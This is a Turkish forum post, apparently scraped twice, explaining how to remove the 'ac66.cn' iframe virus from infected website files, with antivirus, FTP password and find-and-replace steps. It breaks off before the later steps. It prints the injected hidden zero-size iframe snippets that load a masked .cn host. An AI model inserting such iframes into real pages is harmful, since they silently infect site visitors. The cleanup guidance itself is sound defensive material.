Webmasterların çoğunun baş belası olan iframe (ac66.cn) virüsü olarak bilinen bu virüs ftp'nizdeki bütün dosyalara
Şeklinde yerleşerek siteye giren kullanıcılara bulaşır.
Bu virüs cuteftp programı ile geldiği öne sürülürken bazı kişiler ise codec gereksimi duyulduğunda bazı programların codec sitelerine yönlendirip virüs indirttiğinide iddaa etmektedir.

Virüs Bir şekilde Bilgisayarınıza bulaştı ve sitenizdeki 2000 tane php veya html dosyanızın içine iframe olarak yerleşti ne yapmanız gerekmektedir. ?

İlk önce bilgisayarınızdan başlamanız gerekmektedir. Bu yüzden Virüs programlarından başlayalm. Önce trojen programını indirin.
Ben kendi kullandığım programları yazacağım.
a-squared'in free versiyonunu kurunuz


http://download4.emsisoft.com/a2FreeSetup.exe
Bu programı kurduktan sonra güncelleştirmelerini yapınız. Ve güncelleştirmeler bittikten sonra türkçe dil desteğide geliyor, dili türkçe yaparak derin tarama seçeneğini seçin ve taramayı başlatın. Çıkan virüsleri temizleyin.
Trojen programından sonra
KasperSky Anti Virüs 2009 Türkçe (30 gün Shareware)


http://downloads.kaspersky-labs.com/....0.0.506en.exe
Kurduktan sonra güncelleştirmeleri yapın ve bilgisayarınızı taratın.

Bilgisayardaki virüsleri temizledikten sonra
2. işleme geçiyoruz. Sitenizin paneline girin ve ftp şifrelerinizi değiştirin bu çok önemli çünkü bir kere ftp şifreleriniz kayıt altına alındı ve virüsleri siz temizledikten sonra tekrar geri atabilir. Bu sebeple ikinci işlem olarak ftp şifrenizi değiştiriniz.

3. İşlem Sitenizdeki bütün sayfaları bilgisayarınıza indirin.
Sayfalarınızın hepsinin içerisinde <iframe .... gibi yazılar bulunuyor bu yazıları hepsini tek tek açıp heleki 2500 gibi bir rakamsa editlemek zor olacaktır. Bu yüzden bu kadar uğraşa girmemek için Advanced Find And Replace programını indiriyoruz.


http://www.abacre.com/afr.zip(21 gün kullanımlı)

Bu programı genelde spamcılar kullanır ama bizim için çok önemli bir program konumunda şuanda.

Kullanımı resimlerle anlatmaya çalışayım hemen.

Kurulumu yaptıktan sonra programı açıyoruz.
1. işlem


1 29-12-2008, 18:00:58
Ntie
<?php script yazılır?>
Amasya Şubesi
Mesajlar: 4.390
iTrader Puanı: (37)
iTrader Feedback: (100%)
Rep puanı: 95




İframe Virüsü (Çözüm)

--------------------------------------------------------------------------------

Webmasterların çoğunun baş belası olan iframe (ac66.cn) virüsü olarak bilinen bu virüs ftp'nizdeki bütün dosyalara

PHP- Kodu:
<iframe src='http:/logo/index.php' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>

veya

PHP- Kodu:
<iframe src="http://*****.cn/in/" width=1 height=1 style="visibility: hidden"></iframe>

Şeklinde yerleşerek siteye giren kullanıcılara bulaşır.
Bu virüs cuteftp programı ile geldiği öne sürülürken bazı kişiler ise codec gereksimi duyulduğunda bazı programların codec sitelerine yönlendirip virüs indirttiğinide iddaa etmektedir.

Virüs Bir şekilde Bilgisayarınıza bulaştı ve sitenizdeki 2000 tane php veya html dosyanızın içine iframe olarak yerleşti ne yapmanız gerekmektedir. ?

İlk önce bilgisayarınızdan başlamanız gerekmektedir. Bu yüzden Virüs programlarından başlayalm. Önce trojen programını indirin.
Ben kendi kullandığım programları yazacağım.
a-squared'in free versiyonunu kurunuz.


Download
Bu programı kurduktan sonra güncelleştirmelerini yapınız. Ve güncelleştirmeler bittikten sonra türkçe dil desteğide geliyor, dili türkçe yaparak derin tarama seçeneğini seçin ve taramayı başlatın. Çıkan virüsleri temizleyin.
Trojen programından sonra
KasperSky Anti Virüs 2009 Türkçe (30 gün Shareware)


Download

Kurduktan sonra güncelleştirmeleri yapın ve bilgisayarınızı taratın.

Bilgisayardaki virüsleri temizledikten sonra
2. işleme geçiyoruz. Sitenizin paneline girin ve ftp şifrelerinizi değiştirin bu çok önemli çünkü bir kere ftp şifreleriniz kayıt altına alındı ve virüsleri siz temizledikten sonra tekrar geri atabilir. Bu sebeple ikinci işlem olarak ftp şifrenizi değiştiriniz.

3. İşlem Sitenizdeki bütün sayfaları bilgisayarınıza indirin.
Sayfalarınızın hepsinin içerisinde <iframe .... gibi yazılar bulunuyor bu yazıları hepsini tek tek açıp heleki 2500 gibi bir rakamsa editlemek zor olacaktır. Bu yüzden bu kadar uğraşa girmemek için Advanced Find And Replace programını indiriyoruz.



Download (21 gün kullanımlı)

Bu programı genelde spamcılar kullanır ama bizim için çok önemli bir program konumunda şuanda.

Kullanımı resimlerle anlatmaya çalışayım hemen.

Kurulumu yaptıktan sonra programı açıyoruz.
1. işlem

2.işlem